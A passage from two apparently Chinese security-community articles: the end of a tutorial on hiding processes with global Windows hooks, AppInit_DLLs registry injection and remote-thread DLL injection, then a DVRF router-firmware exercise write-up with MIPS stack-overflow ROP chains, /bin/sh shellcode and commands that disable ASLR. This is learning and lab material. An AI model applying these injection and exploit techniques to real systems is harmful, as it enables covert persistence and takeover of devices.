printf("LoadDLL Error: %d\n", GetLastError());
return 0;
}
printf("Load DLL Success!\n");
//这里用到了之前导出的MsgHookProc方法。
HOOKPROC MsgHookProc = (HOOKPROC)GetProcAddress(hDll, "GetMsgProc");
// 设置全局钩子
HHOOK hhook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)MsgHookProc, hDll, 0);
if (hhook == NULL) {
return 0;
}
printf("Success SetWindowHookEx!\n");
system("pause");;
UnhookWindowsHookEx(hhook);
FreeLibrary(hDll);
printf("Success Unload DLL!\n");
}
关于为什么这样写，其实我也不是清楚，是我自己调试得到的，具体的话要去看下SetWindowsHook是如何挂钩，如何访问DLL空间，注入程序与被注入程序是如何联系起来的，这些都是底层封装好的，作为一个脚本小子的，能run就行的觉悟，这样写在win10是没错的。
3) 效果展示
Hook的时候很自然、很丝滑，无不适感，近乎无感。
DLL也被成功加载
Unhook的时候，一切恢复，很nice!
整体来说这个实现其实已经符合了我的基本要求了，但是这个方法存在一些局限性。
1)Tasklist.exe 没办法挂钩
一般来说，这种只可以挂钩带窗口即有gui的程序，要不然程序里得有信息循环，要不然没办法Hook(就算Hook，也不一定行)，这个就有点美中不足啦，因为我就很喜欢用tasklist来查进程，还有beaconeye这些工具类一般也不会去写gui。
2）DLL需要落地，程序通过参数指定调用DLL的路径时候，commandline也容易暴露，这个问题解决方案就是无DLL文件Hook，跟反射注入差不多，能够做到隐蔽。
### 0x4.2 全局注入 AppInit_DLLs
> 原理:
>
> 用户层，通过global API hooks将测试dll注入到系统的所有进程，实现对指定进程的隐藏
>
> 方式:
>
> 修改注册表键值AppInit_DLLs
>
> 键值位置:
>
> HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
查阅官方文档:<https://docs.microsoft.com/en-us/windows/win32/win7appqual/appinit-dlls-in-windows-7-and-windows-server-2008-r2>
里面说到支持的平台为:
**Clients** \- Windows 7
**Servers** \- Windows Server 2008 R2
描述中说到:
> AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be
> loaded into each user mode process on the system. Microsoft is modifying the
> AppInit DLLs facility in Windows 7 and Windows Server 2008 R2 to add a new
> code-signing requirement. This will help improve the system reliability and
> performance, as well as improve visibility into the origin of software.
`AppInit_DLLs`支持将一组DLL加载到系统上每个用户模式进程。(这个特点就很有实战意义，针对用户模式注入)
配置信息,用于后面我们编写注册:
这里笔者使用win7作为演示:
win+r -> regedit 打开注册表编辑器
`AppInit_DLLS`： 空格或者逗号隔开,支持短文件名。
`LoadAppInit_DLLS`: 0x1 开启
`RequireSignedAppInit_DLLs`: 测试的win7没有这个，这里我就不设置了。
然后当你启动任何用户级别程序的时候就会注入DLL:
但是我发现在Win7下的任务管理器有点奇怪，应用程序那一列没办法隐藏应用和tasklist.exe也没办法做到隐藏，但是processHacker在界面还是进程列都没啥问题。
但是确实用户态的所有进程都注入了该DLL，那么问题说明仅仅Hook
`NTQuerySystemInformation`是不够，不同的系统版本然后任务管理器展示可能存在差异。
当时再看国外一篇文章里面说到:<https://www.codeproject.com/articles/49319/easy-way-to-set-up-global-api-hooks?display=print>
在win2003的时候，hook `NTQuerySystemInformation`结合`AppInit_DLLs`能够实现全方位的隐藏。
后面通过Google搜索到一个现成的github项目:<https://github.com/manicstreetcoders/AppInitGlobalHooks-Mimikatz，其中实现了注册表自动设置，代码如下>:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows]
"AppInit_DLLs"="C:\\Tools\\AppInitHookx64.dll,C:\\Tools\\AppInitHook.dll"
"LoadAppInit_DLLs"=dword:00000001
"RequireSignedAppInit_DLLs"=dword:00000000
REG修改下DLL路径，然后项目中修改下隐藏的路径重新编译,得到新的DLL。
点击Reg运行设置好键值，查看效果：
发现一个很神奇的地方，hook表现出来的大部分状态都跟我之前的DLL相同，虽然依然没办法隐藏应用程序中的记事本，但是这个项目Hook之后，能够将Tasklist.exe隐藏掉进程。
为什么会这样的？ 难道TaskList.exe通过其他方式调用了`NTQuerySystemInfoMation`吗?
既然这样，那就尝试验证下window10下的TaskList.exe呗。
写个循环代码尝试捕捉下tasklist.exe的运行:
// HelloWorld.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>
DWORD GetProcessIDByName(const wchar_t * pName)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) {
return NULL;
}
PROCESSENTRY32 pe = { sizeof(pe) };
for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe)) {
if (wcscmp(pe.szExeFile, pName) == 0) {
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
}
CloseHandle(hSnapshot);
return 0;
}
int main()
{
while (true) {
DWORD result = GetProcessIDByName(TEXT("tasklist.exe"));
if (!result) {
printf("Not Found tasklist.exe\n");
}
else {
printf("Found tasklist.exe Done! breaking circle\n");
break;
}
}
}
好像还不错，这么快也能捕捉到。
那么尝试下，瞬间注入呗？ em？ 好像不太OK
经过我的一番脚本小子的推测，可能是注入的瞬间进程结束了呗，那么有没有啥办法能检验呢？
随手搓一个挂起注入呗，看看能不能解决这个问题。
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
wchar_t exe_path[] = TEXT("C:\\Windows\\System32\\tasklist.exe");
if (!CreateProcess(NULL, exe_path, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
return 1;
}
printf("pid: %d suspended process Succeed!\n", pi.dwProcessId);
wchar_t tPath[] = TEXT("C:\\Users\\god\\Desktop\\AppInitGlobalHooks-Mimikatz-master\\x64\\Release\\AppInitHook.dll");
LPVOID remoteAllocAddr = VirtualAllocEx(pi.hProcess, NULL, sizeof tPath, MEM_COMMIT, PAGE_READWRITE);
BOOL writeRet = WriteProcessMemory(pi.hProcess, remoteAllocAddr, (LPVOID)tPath, sizeof tPath, NULL);
HMODULE hModule = GetModuleHandle(TEXT("kernel32.dll"));
LPTHREAD_START_ROUTINE dwLoadAddr = (PTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryW");
HANDLE hThread = CreateRemoteThread(pi.hProcess, NULL, 0, dwLoadAddr, remoteAllocAddr, 0, NULL);
if (hThread == NULL) {
printf("[-] CreatRemoteTread error! \n");
}
else {
printf("[+] Succeed!\n");
}
system("pause");
// wake
if (ResumeThread(pi.hThread) == -1) {
printf( "ResumeThread failed; error code = 0x%08X\n", GetLastError());
return 1;
}
问题不大成功注入DLL，但是我发现唤醒主线程之后依然没办法隐藏进程，后面想知道为什么只能动态去调试了，一想到脚本小子的本分，我就知道这对我来说是不可能的了。
这里给出点自己的想法，要么就是Tasklist实现机制问题，要么就是注入的时候Hook优先级不够。
顺便补充一个相关知识点，关于这个技术的通用性拓展,三好学生师傅针对32位和64位做了改动来适配:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows]
"AppInit_DLLs"="C:\\Tools\\AppInitHookx64.dll"
"LoadAppInit_DLLs"=dword:00000001
"RequireSignedAppInit_DLLs"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows]
"AppInit_DLLs"="C:\\Tools\\AppInitHook.dll"
"LoadAppInit_DLLs"=dword:00000001
"RequireSignedAppInit_DLLs"=dword:00000000
最后，小结下，虽然这个方法使用起来很简单，效果很明显，但是其也有很严重的局限性:
1）由于借助系统加载，DLL文件肯定是要落地的。
2）微软在其文档中提到:<https://docs.microsoft.com/en-us/windows/win32/dlls/secure-boot-and-appinit-dlls>
很有意思，目前这个方法被恶意软件广泛使用，自window8之后，使用了安全启动，这样会默认关闭`Appinit_DLLS`技术。
可能是利用起来太简单了，可以自定义各种设置，病毒开发小伙伴们都是很有默契的，要么一起用，要么一起不用，那微软就成全后者呗。
## 0x5 个人想法
本文算是帮不少作者填了一些坑，但是笔者同样也留了一些新坑，天道好轮回，苍天饶过谁？
关于这个基于window机制来实现对抗的思路，还是有一定可玩性的，除了进程隐藏，还有很多玩法。在日常对抗中的，防御的成本是高于攻击成本的，你玩的越底层，那么他们的防御成本是指数级别增长。同时，要做好一个攻击工具，是需要做到良好兼容性、傻瓜化、工程化的。
## 0x6 总结
本文是一篇属于流水账式的文章，通过开门见山点出全局Hook的两个思路，然后介绍了如何上手使用`Mhook`来简化Hook的编码过程，接着介绍了隐藏进程的原理，并做了效果展示，最后较为详细地介绍了笔者实现全局钩子和全局注入的过程。通过阅读本文，读者可以清楚看到笔者是个纯粹的脚本小子，其中很多想法不具备底层原理的考证，所以建议抱谨慎的态度阅读此文，同时欢迎各位师傅拍砖指点，指出错误之处。
## 0x7 参考链接
[Hook Heaps and Live Free](https://www.arashparsa.com/hook-heaps-and-live-free/)
[Easy way to set up global API
hooks](https://www.codeproject.com/articles/49319/easy-way-to-set-up-global-api-hooks?display=print)
[利用globalAPIhooks在Win7系统下隐藏进程](https://3gstudent.github.io/%E5%88%A9%E7%94%A8globalAPIhooks%E5%9C%A8Win7%E7%B3%BB%E7%BB%9F%E4%B8%8B%E9%9A%90%E8%97%8F%E8%BF%9B%E7%A8%8B)
[代码参考](https://github.com/manicstreetcoders/AppInitGlobalHooks-Mimikatz)
[ProcessHider利用分析](https://cloud.tencent.com/developer/article/1594779)
[ssdt-hook 进程隐藏与保护](https://www.mashen.zone/thread-3100270.htm)
[Windows Hook原理与实现](http://www.tnblog.net/18785819686/article/details/5480)
[结构体查询网站](http://terminus.rewolf.pl/terminus/)
[Windows黑客编程技术详解](https://www.liangzl.com/get-article-detail-192058.html)
[《逆向工程核心原理》-- Windows消息钩取](https://zhuanlan.zhihu.com/p/124240880)
[全局钩子注入](https://www.write-bug.com/article/2028.html)
[3环下进程隐藏------持续隐藏防新开](https://www.daimajiaoliu.com/daima/476281743900414)
[基于TaskKill命令防杀的进程保护](https://4hou.win/wordpress/?p=18929) | 社区文章 |
# IOT设备漏洞挖掘从入门到入门（一）- DVRF系列题目分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
我们现在来调试[DVRF系列练习题](https://github.com/praetorian-code/DVRF)
## 所用工具
### builtroot
下载
wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2
tar -jxvf buildroot-snapshot.tar.bz2
cd buildroot
配置
sudo apt-get install libncurses-dev patch
make clean
make menuconfig
#然后进入到图形化的配置，在Target Architecture中设置目标系统，在toolchain中设置自己主机的内核版本（uname -r）查看，最好在toolchain中也勾选上g++
编译
sudo apt-get install texinfo
sudo apt-get install bison
sudo apt-get install flex
sudo make
设置路径
gedit ~/.bashrc
export PATH=$PATH:/Your_Path/buildroot/output/host/usr/bin
source ~/.bashrc
### binwalk
sudo apt-get install build-essential autoconf git
sudo apt install binwalk
sudo apt-get install python-lzma
sudo apt-get install python-crypto
sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip
sudo pip install pyqtgraph
sudo apt-get install python-pip
sudo pip install capstone
# Install standard extraction utilities（必选）
sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools
# Install sasquatch to extract non-standard SquashFS images（必选）
git clone https://github.com/devttys0/sasquatch
cd sasquatch && ./build.sh
# Install jefferson to extract JFFS2 file systems（可选）
sudo pip install cstruct
git clone https://github.com/sviehb/jefferson
(cd jefferson && sudo python setup.py install)
# Install ubi_reader to extract UBIFS file systems（可选）
sudo apt-get install liblzo2-dev python-lzo
git clone https://github.com/jrspruitt/ubi_reader
(cd ubi_reader && sudo python setup.py install)
# Install yaffshiv to extract YAFFS file systems（可选）
git clone https://github.com/devttys0/yaffshiv
(cd yaffshiv && sudo python setup.py install)
# Install unstuff (closed source) to extract StuffIt archive files（可选）
wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv
sudo cp bin/unstuff /usr/local/bin/
### qemu
sudo apt install qemu
sudo apt install qemu-user-static
sudo apt install qemu-system
### gdb
#### gdb-multiarch
sudo apt-get install gdb-multiarch
#### pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
#### 现成的交叉编译过的gdbserver
自己弄真的是很麻烦，拿大佬的现成的用一下
[下载地址](https://github.com/rapid7/embedded-tools/blob/master/binaries)
### pwntools
sudo apt-get install libffi-dev
sudo apt-get install libssl-dev
sudo apt-get install python
sudo apt-get install python-pip
sudo pip install pwntools
### mipsrop
找到了支持IDA7.0的，哭啦，[下载地址](https://github.com/Iolop/ida7.0Plugin)
### mips qemu虚拟机
#### 下载
从[下载地址](https://people.debian.org/~aurel32/qemu/)里面选择mips或者mipsel的下载。最好把两个都下载下来，分别放在mips文件夹和mipsel文件夹下面方便区分。
#### 启动脚本及配置网络环境
###### 在本机的mips或者mipsel文件夹下面放两个脚本
1.启动脚本，后面都称之为start.sh（用来启动qemu的）
#! /bin/sh
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap
2.网络配置脚本，后面都称之为net.sh
#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0
过程是先启动./start.sh,然后打开另外一个窗口，运行./net.sh
##### 在qemu里面放一个脚本
1.网络配置脚本，后面称之为net.sh
#！/bin/sh
ifconfig eth1 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254
在qemu里面运行之后，qemu就能ping通外网啦。
## stack_bof_01
### 漏洞分析
首先查看一下源码
#include <string.h>
#include <stdio.h>
//Simple BoF by b1ack0wl for E1550
int main(int argc, char **argv[]){
char buf[200] ="";
if (argc < 2){
printf("Usage: stack_bof_01 <argument>rn-By b1ack0wlrn");
exit(1);
}
printf("Welcome to the first BoF exercise!rnrn");
strcpy(buf, argv[1]);
printf("You entered %s rn", buf);
printf("Try Againrn");
return 0x41; // Just so you can see what register is populated for return statements
}
void dat_shell(){
printf("Congrats! I will now execute /bin/shrn- b1ack0wlrn");
system("/bin/sh -c");
//execve("/bin/sh","-c",0);
//execve("/bin/sh", 0, 0);
exit(0);
}
可以看到这里面有一个system函数，并且这个里面有一个strcpy函数，没有对输入的内容限制长度，所以有栈溢出。并且因为main函数是非叶子函数，所以main返回的时候，只要把存放`$ra`寄存器内容的地方覆盖为dat_shell的地址就可以啦。
### 查看文件
通过`file`,`checksec`命令，查看文件的指令架构和保护情况
### IDA查看
将程序放入到IDA中进行查看，我们根据strcpy可以找到漏洞位置
strcpy的来源是程序运行的参数。
### 本地模拟、调试
1.我们首先进行本地的模拟，我们先编写一个调试启动脚本vi local.sh
#! /bin/sh
PORT="1234"
#INPUT = `python -c "print open('content1',r).read()"`
cp $(which qemu-mipsel-static) ./qemu
./qemu -L ./ -g $PORT ./pwnable/Intro/stack_bof_01 "`cat content`"
rm ./qemu
这个里面用`cat`去获得，而不是python，是因为python有可能会截断
2.首先确定一个偏移，我们用`python patternLocOffset -c -l 600 -f
content`生成一个输入脚本content，然后用local.sh起起来，用`gdb-multiarch`调试，最终得到寄存器`$ra`的值`0x41386741`,然后用`python patternLocOffset -s
0x41386741 -l 600`得到偏移是204。
3.编写利用脚本，`vi content.py`为
from pwn import *
f=open("content","wb")
data = "a"*204
data+="bbbb"
f.write(data)
f.close()
4.然后我们拿这个content.py生成的content运行，然后调试，可以看到我们已经成功的劫持了控制流。
5.接下来，我们就想直接将dat_shell的地址直接写到上面，然后直接执行，我们尝试了一下，结果出现错误。
可以看到是因为改变了寄存器`$gp`的值，这里引用大佬文章中的内容：
访问了非法内存，异常了。原因在于，在MIPS中，函数内部会通过$t9寄存器和$gp寄存器来找数据，地址等。同时在mips的手册内默认$t9的值为当前函数的开始地址，这样才能正常的索引。
所以，我们需要先用一个`rop_gadget`给`$t9`赋值，然后我们在`libc.so.0`中找到了一个gadget，如下所示：
.text:00006B20 lw $t9, arg_0($sp)
.text:00006B24 jalr $t9
如果我们想要使用这个gadget的话，我们必须先找到libc的基地址，我比较喜欢用gdb来调试，因为这个没有开启地址随机化，所以我们先关闭地址随机化。
sudo su
echo 0 > /proc/sys/kernel/randomize_va_space
然后我们可以根据`vmmap`来得到libc的基地址`0x766e5000`，如下图所示：
6.最后，我们写一下生成content的python脚本：
from pwn import *
libc_base = 0x766e5000
gadget = 0x6b20
gadget_addr = libc_base + gadget
shell_addr = 0x400950
f=open("content","wb")
data = "a"*204
data+=p32(gadget_addr)
data+=p32(shell_addr)
f.write(data)
f.close()
### qemu模拟调试
1.先启动qemu，配置好网络环境，依次运行start.sh，net.sh（看上面介绍），在qemu里面运行net.sh，并且也要运行一下
echo 0 > /proc/sys/kernel/randomize_va_space
因为我们用的是debian的，他里面是开了地址随机化的，所以我们要先关闭地址随机化。
2.将之前在本地运行好的content拷过去
scp content [email protected]:/root/
3.我们直接运行的话，没有成功，猜测是因为libc的基地址的问题，所以我们要先调试一下。依次运行下面的指令(经过了很长时间的摸索)：
#在qemu里面
chroot . ./gdbserver.mipsel 192.168.100.254:6666 ./pwnable/Intro/stack_bof_01 "`cat content`"
#一定要在cat content的外面加上“”，我在这吃了大亏，调试了半天，输入总是不对
#在本机中运行
gdb-multiarch ./pwnable/Intro/stack_bof_01
set arch mips #可选
set endian big/little #可选
target remote 192.168.100.3:6666
#进入到gdb中
b *0x400948
c
vmmap
#出现下面的图
其中可以看到libc的基地址是`0x77ee2000`,我们在content.py脚本中修改一下libc的基地址，在qemu中运行就可以啦。
成功如下图所示：
### 总结
这道题目其实很简单，但是其中的调试方法自己摸索了好几天，简单来说，就是在qemu中运行
chroot . ./gdbserver.mipsel 调试机ip:6666 程序路径 程序参数
在本机中运行
gdb-multiarch 程序路径
set arch mips
set endian big/little
target remote 目标机ip:6666
而且在调试过程中遇到了大大小小的问题，真的是学海无涯苦作舟啊。
## stack_bof_02
### 漏洞分析
我们首先看一下源码
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
//Simple BoF by b1ack0wl for E1550
//Shellcode is Required
int main(int argc, char **argv[]){
char buf[500] ="";
if (argc < 2){
printf("Usage: stack_bof_01 <argument>rn-By b1ack0wlrn");
exit(1);
}
printf("Welcome to the Second BoF exercise! You'll need Shellcode for this! ;)rnrn");
strcpy(buf, argv[1]);
printf("You entered %s rn", buf);
printf("Try Againrn");
return 0;
}
我们可以看到，这依然是一个简单的栈溢出，参数从程序参数中获取，在用strcpy进行赋值的时候，没有检查长度，导致了栈溢出。因为main函数是非叶子函数，所以当溢出的时候，会覆盖到存放`$ra`的地方，所以当返回的时候，寄存器`$ra`发生变化。这道题目和上面一道题目不同的地方在于，程序里面没有system调用，所以需要调用shellcode。
### 查看文件
我们可以看到，各种保护都没有开，32位小端程序
### IDA查看
由上面我们可以看到，输入来源是程序的输入，然后经过了strcpy，没有经过检查，所以有栈溢出。
### 本地模拟、调试
1.我们首先还是先编写一个启动脚本local.sh:
#! /bin/sh
PORT="1234"
cp $(which qemu-mipsel-static) ./qemu
./qemu -L ./ -g $PORT ./pwnable/Intro/stack_bof_01 "`cat content1`"
rm ./qemu
2.然后确定一个偏移，我们用`python patternLocOffset -c -l 600 -f
content`生成一个输入脚本content1，然后用local1.sh起起来，用`gdb-multiarch`调试，最终得到寄存器`$ra`的值`0x72413971`,然后用`python patternLocOffset -s
0x72413971 -l 600`得到偏移是508。
3.编写利用脚本，`vi content1.py`为
from pwn import *
f=open("content1","wb")
data = "a"*508
data+="bbbb"
f.write(data)
f.close()
4.然后我们拿这个content1.py生成的content1运行，然后调试，可以看到我们已经成功的劫持了控制流。
5.下面就要进行我们的重点了，也就是rop链的生成。这里有一点需要说的是，我们在调用我们的shellcode之前，要先调用一个`sleep(1)`，（原理的话，引用大佬的话，就是在构造ROP的时候调用sleep()函数，是的D-cach写回，I-cache生效）。
1)所以，这个里面，我们需要先一个gadget，把寄存器`$a0`赋值为`1`的gadget。我们用mipsrop.find(“li `$a0`,1”)
---------------------------------------------------------------------------------------------------------------- | Address | Action | Control Jump |
---------------------------------------------------------------------------------------------------------------- | 0x00018AA8 | li $a0,1 | jalr $s3 |
| 0x0002FB10 | li $a0,1 | jalr $s1 |
| 0x00012D3C | li $a0,1 | jr 0x28+var_8($sp) |
| 0x00022420 | li $a0,1 | jr 0x28+var_8($sp) |
| 0x0002A9C8 | li $a0,1 | jr 0x20+var_4($sp) |
----------------------------------------------------------------------------------------------------------------
我们随便挑选一个，0x2fb10，这个里面的gadget0是
.text:0002FB10 li $a0, 1
.text:0002FB14 move $t9, $s1
.text:0002FB18 jalr $t9 ; sub_2F818
.text:0002FB1C ori $a1, $s0, 2
2)根据第一个gadget，我们需要一个能给寄存器`$s1`赋值的那么一个gadget1，我们用指令mipsrop.find(“lw
`$s1`,”)，找到了好多，我们随便挑一个，既给寄存器赋值，又用这个寄存器跳转的，
.text:00006A50 lw $ra, 0x68+var_4($sp)
.text:00006A54 lw $s2, 0x68+var_8($sp)
.text:00006A58 lw $s1, 0x68+var_C($sp)
.text:00006A5C lw $s0, 0x68+var_10($sp)
.text:00006A60 jr $ra
3）所以这个时候，我们的利用脚本如下：
"a"*508
p32(gadget1+libc_base)
"b"*0x58
"????" #s0
"????" #s1
"????" #s2
p32(gadget0+libc_base)
4)我们这个时候就要想一下，我们在s1的位置填写什么地址，是`sleep`函数的地址嘛？显然不是的，如果这个地方填写了`sleep`函数的地址，那么就直接跳转进`sleep`函数，而`$ra`寄存器还是gadget0的地址，执行完`sleep`函数之后，就又回到了这里，所以这里需要一个既能利用`$s0`或者`$s2`寄存器跳转，并且还能给`$ra`寄存器赋值的gadget2，我们用指令mipsrop.tali()寻找，经过查看，我们采用下面的gadget：
.text:00020F1C move $t9, $s2
.text:00020F20 lw $ra, 0x28+var_4($sp)
.text:00020F24 lw $s2, 0x28+var_8($sp)
.text:00020F28 lw $s1, 0x28+var_C($sp)
.text:00020F2C lw $s0, 0x28+var_10($sp)
.text:00020F30 jr $t9
所以，这个时候的利用脚本变成下面的样子：
"a"*508
p32(gadget1+libc_base)
"b"*0x58
"bbbb" #s0
p32(gadget2+libc_base) #s1
p32(sleep_offset+libc_base) #s2
p32(gadget0+libc_base)
#--------- "c"*0x18
"cccc" #s0
"cccc" #s1
"cccc" #s2
"????" #ra
5)我们接下来寻找一个执行完`sleep`函数，跳转的地址，因为这个程序里面栈上可以执行，所以我们在上面部署shellcode，然后跳转过去即可，接下来我们要寻找一个跳转到栈上某个位置的gadget3，没有找到，然后就想先控制一个寄存器的值为栈上的一个值，然后在跳转到这，因此我们用mipsrop.findstacker()寻找，
.text:00016DD0 addiu $a0, $sp, 0x58+var_40
.text:00016DD4 move $t9, $s0
.text:00016DD8 jalr $t9
第一个gadget3如上所示，也就是，因此我们需要先控制寄存器`$s0`，我们看到上面的gadget2，还能控制寄存器`$s0`。
6）接下来我们寻找一个利用`$a0`跳转的gadget4，我们用mipsrop.find(“move `$t9`,`$a0`“)，我们如愿找到一个
.text:000214A0 move $t9, $a0
.text:000214A4 sw $v0, 0x38+var_20($sp)
.text:000214A8 jalr $t9
所以我们的利用脚本变成下面的样子：
"a"*508
p32(gadget1+libc_base)
"b"*0x58
"bbbb" #s0
p32(gadget2+libc_base) #s1
p32(sleep_offset+libc_base) #s2
p32(gadget0+libc_base)
#--------- "c"*0x18
p32(gadget4+libc_base) #s0
"cccc" #s1
"cccc" #s2
p32(gadget3+libc_base) #ra
#--------- "d"*0x18
shellcode
7)我们接下来就是填充shellcode，找到一个[网站](http://shell-strom.org/shellcode)，在上面找到一个mips大端的`execve
/bin/sh`的shellcode，将其转换成小端的shellcode如下：
shellcode = “”
shellcode += "xffxffx06x28" # slti $a2, $zero, -1
shellcode += "x62x69x0fx3c" # lui $t7, 0x6962
shellcode += "x2fx2fxefx35" # ori $t7, $t7, 0x2f2f
shellcode += "xf4xffxafxaf" # sw $t7, -0xc($sp)
shellcode+= "x73x68x0ex3c" # lui $t6, 0x6873
shellcode += "x6ex2fxcex35" # ori $t6, $t6, 0x2f6e
shellcode += "xf8xffxaexaf" # sw $t6, -8($sp)
shellcode += "xfcxffxa0xaf" # sw $zero, -4($sp)
shellcode += "xf4xffxa4x27" # addiu $a0, $sp, -0xc
shellcode += "xffxffx05x28" # slti $a1, $zero, -1
shellcode += "xabx0fx02x24" # addiu;$v0, $zero, 0xfab
shellcode += "x0cx01x01x01" # syscall 0x40404
8)我们将上面的一系列内容编写成contnt.py，如下：
from pwn import *
context.endian = "little"
context.arch = "mips"
f=open("content1","wb")
shellcode = ""
shellcode += "xffxffx06x28" # slti $a2, $zero, -1
shellcode += "x62x69x0fx3c" # lui $t7, 0x6962
shellcode += "x2fx2fxefx35" # ori $t7, $t7, 0x2f2f
shellcode += "xf4xffxafxaf" # sw $t7, -0xc($sp)
shellcode+= "x73x68x0ex3c" # lui $t6, 0x6873
shellcode += "x6ex2fxcex35" # ori $t6, $t6, 0x2f6e
shellcode += "xf8xffxaexaf" # sw $t6, -8($sp)
shellcode += "xfcxffxa0xaf" # sw $zero, -4($sp)
shellcode += "xf4xffxa4x27" # addiu $a0, $sp, -0xc
shellcode += "xffxffx05x28" # slti $a1, $zero, -1
shellcode += "xabx0fx02x24" # addiu;$v0, $zero, 0xfab
shellcode += "x0cx01x01x01" # syscall 0x40404
gadget0 = 0x2fb10
gadget1 = 0x6A50
gadget2 = 0x20F1C
gadget3 = 0x16DD0
gadget4 = 0x214A0
libc_base = 0x766e5000
sleep_offset = 0x2F2B0
data = "a"*508
data += p32(gadget1+libc_base)
data += "b"*0x58
data += "bbbb" #s0
data += p32(gadget2+libc_base) #s1
data += p32(sleep_offset+libc_base) #s2
data += p32(gadget0+libc_base)
data +="c"*0x18
data += p32(gadget4+libc_base) #s0
data += "cccc" #s1
data += "cccc" #s2
data += p32(gadget3+libc_base) #ra
data += "d"*0x18
data += shellcode
f.write(data)
f.close()
然后我们python content1.py，生成一个content1，然后运行./local1.sh,另外一个窗口运行gdb调试，然后下断点`b
*0x767064A0`，运行下去，可以看到寄存器`$t9`已经变成了shellcode的位置，接下来就是跳转到那边，我们看一下内存中的内容，看到如下图内容：
也就是第一条汇编指令不是我们的汇编指令，后面一样，尽管执行成功了，但是心里不爽，看大佬们的内容，可以在前面加几句无关紧要的东西，使其正确跳转过来，就像nop一样(这个里面nop不行的原因是其机器码是x00x00x00x00)。在这个里面增加的指令是`xor
$t0,$t0,$t0`，在IDA中用keypatch看一下机起码为下图内容：
所以我们在shellcode前面加上几句”x26x40x08x01”即可。
### qemu模拟调试
这道题目的qemu的模拟，用的还是之前的那道题目相同的环境，我在这里只介绍一下具体的流程：
1.先启动qemu，配置好网络环境，依次运行start.sh，net.sh（看上面介绍），在qemu里面运行net.sh，并且也要运行一下
echo 0 > /proc/sys/kernel/randomize_va_space
因为我们用的是debian的，他里面是开了地址随机化的，所以我们要先关闭地址随机化。（注意，这里一定要弄，我就在qemu里面调试的时候费了好长时间，总是发生错误，后来知道是没有关闭地址随机化）
2.将之前在本地运行好的content1拷过去
scp content1 [email protected]:/root/
3.自然是寻找libc的地址，用的还是之前的方法（我在想能不能像ctf题目一样泄漏libc的地址呢？回头研究一下，如果有大佬能提点一下的话，会更好）
#在qemu里面
chroot . ./gdbserver.mipsel 192.168.100.254:6666 ./pwnable/ShellCode_Required/stack_bof_02 "`cat content1`"
#在本机中运行
gdb-multiarch ./pwnable/Intro/stack_bof_01
set arch mips #可选
set endian big/little #可选
target remote 192.168.100.3:6666
#进入到gdb中
b *0x400928
c
vmmap
其中可以看到libc的基地址是`0x77ee2000`,我们在content1.py脚本中修改一下libc的基地址，生成相应的content1，然后拷贝进qemu中，在qemu中运行，然后失败了，跟踪的时候，是执行/bin/sh的时候，不知道什么原因，后来改了一个shellcode，改后的shellcode为：
shellcode = ""
shellcode += "x26x40x08x01"
shellcode += "xffxffx10x04xabx0fx02x24"
shellcode += "x55xf0x46x20x66x06xffx23"
shellcode += "xc2xf9xecx23x66x06xbdx23"
shellcode += "x9axf9xacxafx9exf9xa6xaf"
shellcode += "x9axf9xbdx23x21x20x80x01"
shellcode += "x21x28xa0x03xccxcdx44x03"
shellcode += "/bin/sh";
然后运行生成content1，上传，运行`chroot . ./pwnable/ShellCode_Required/stack_bof_02 "`cat
content1`"`成功如下图所示：
### 总结
在这次的实验过程中，rop的构造还是顺利的，当然，还有很多其他的方法。遇到坑的地方，一个就是shellcode的选择，有的用qemu用户态可以成功，但是qemu
system态模拟的时候，没有成功，说是非法指令，只能更换一个shellcode。第二个坑，就是获取libc_base，以及模拟运行调试的时候，每一次开qemu都忘记了关闭地址随机化，导致运行总是不对，后来关闭地址随机化，更换新的shellcode，就运行成功了。（希望之后可以通过泄漏的方式来获取libc基地址，这样就会比较好）
## socket_bof
### 漏洞分析
首先看一下源码：
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
